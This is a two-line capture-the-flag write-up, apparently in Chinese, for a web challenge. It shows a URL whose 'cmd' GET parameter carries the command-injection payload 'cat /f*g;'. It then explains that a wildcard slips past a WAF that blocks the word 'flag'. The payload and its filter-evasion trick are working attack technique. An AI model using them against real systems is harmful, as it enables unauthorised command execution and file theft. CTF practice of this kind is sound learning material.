http://80-cc2e2345-3df4-4799-bd57-5bda708321ec.challenge.ctfplus.cn/?cmd=cat /f*g;
根据代码利用get传参，因为flag字样被waf，所以使用通配符*匹配la这两个字符，找到flag，cat出来。
